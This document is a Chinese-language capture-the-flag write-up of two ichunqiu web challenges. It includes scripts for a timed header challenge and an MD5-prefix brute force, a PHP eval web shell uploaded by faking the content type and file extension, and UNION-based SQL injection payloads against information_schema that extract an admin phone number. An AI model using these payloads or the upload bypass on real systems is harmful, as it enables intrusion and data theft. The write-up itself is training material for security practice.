1.upload
需要post一个ichunqiu变量
burp抓包后可以看到
flag是一个经过base64加密的字符串,解密后
下面的字符串可以再经过一次base64
942756
post ichunqiu=942756
提示post的不够快,因此上py脚本跑一下。
import base64 import requests def main(): a = requests.session() b = a.get("http://815ec4ba331943b8a1b5531b881c861b21bee458310d4d84.changame.ichunqiu.com/") key1 = b.headers["flag"] c = base64.b64decode(key1) d = str(c).split(":") key = base64.b64decode(d[1]) body = {"ichunqiu":key} f = a.post("http://815ec4ba331943b8a1b5531b881c861b21bee458310d4d84.changame.ichunqiu.com/",data=body) print f.text if __name__ == '__main__': main()
访问一下这个链接
打开之后是一个登陆页面。
这里有一个源码泄露
扫描到了
将字符串md5解一下得到username
得到username=8638d5263ab0d3face193725c23ce095
这里需要爆破一个字符串 md5加密后前6位是db822a
import hashlib def md5(s): return hashlib.md5(str(s).encode('utf-8')).hexdigest() def main(s): for i in range(1,99999999): if(md5(i)[0:6]) == str(s): print (i) exit(0) if __name__ == '__main__': main("db822a")
密码随便填写
填写后返回一个php路径
访问php文件
这里可以传入gjp文件
因此随便写入一个php文件例如 eval($_POST['ss']);,保存为jpg格式文件
之后burp抓包改包,因为这里的检验是对于content-type的检验,content-type必须是gif/image
更改filename文件后缀名 .php .php5 .pht等 最后可以用.pht作为文件名传进去。
2.phone number
首先注册一个用户
登陆后查看源码发现
因此题的本意是得到admin的phone number
注册页面中phone是这里的突破口,尝试一下注入
查询库 1 union select group_concat(schema_name) from information_schema. schemata
因为这里的phone number只能输入数字 因此删除maxlength的值 转化成16进制
查询表 1 union select group_concat(table_name) from information_schema.tables where table_schema='web_db' 同样转化成16进制得到表名user
查询user表 1 union select group_concat(column_name) from information_schema.columns where table_name='user'
猜测这里有admin表
因此payload 1 union select phone from user where username='admin'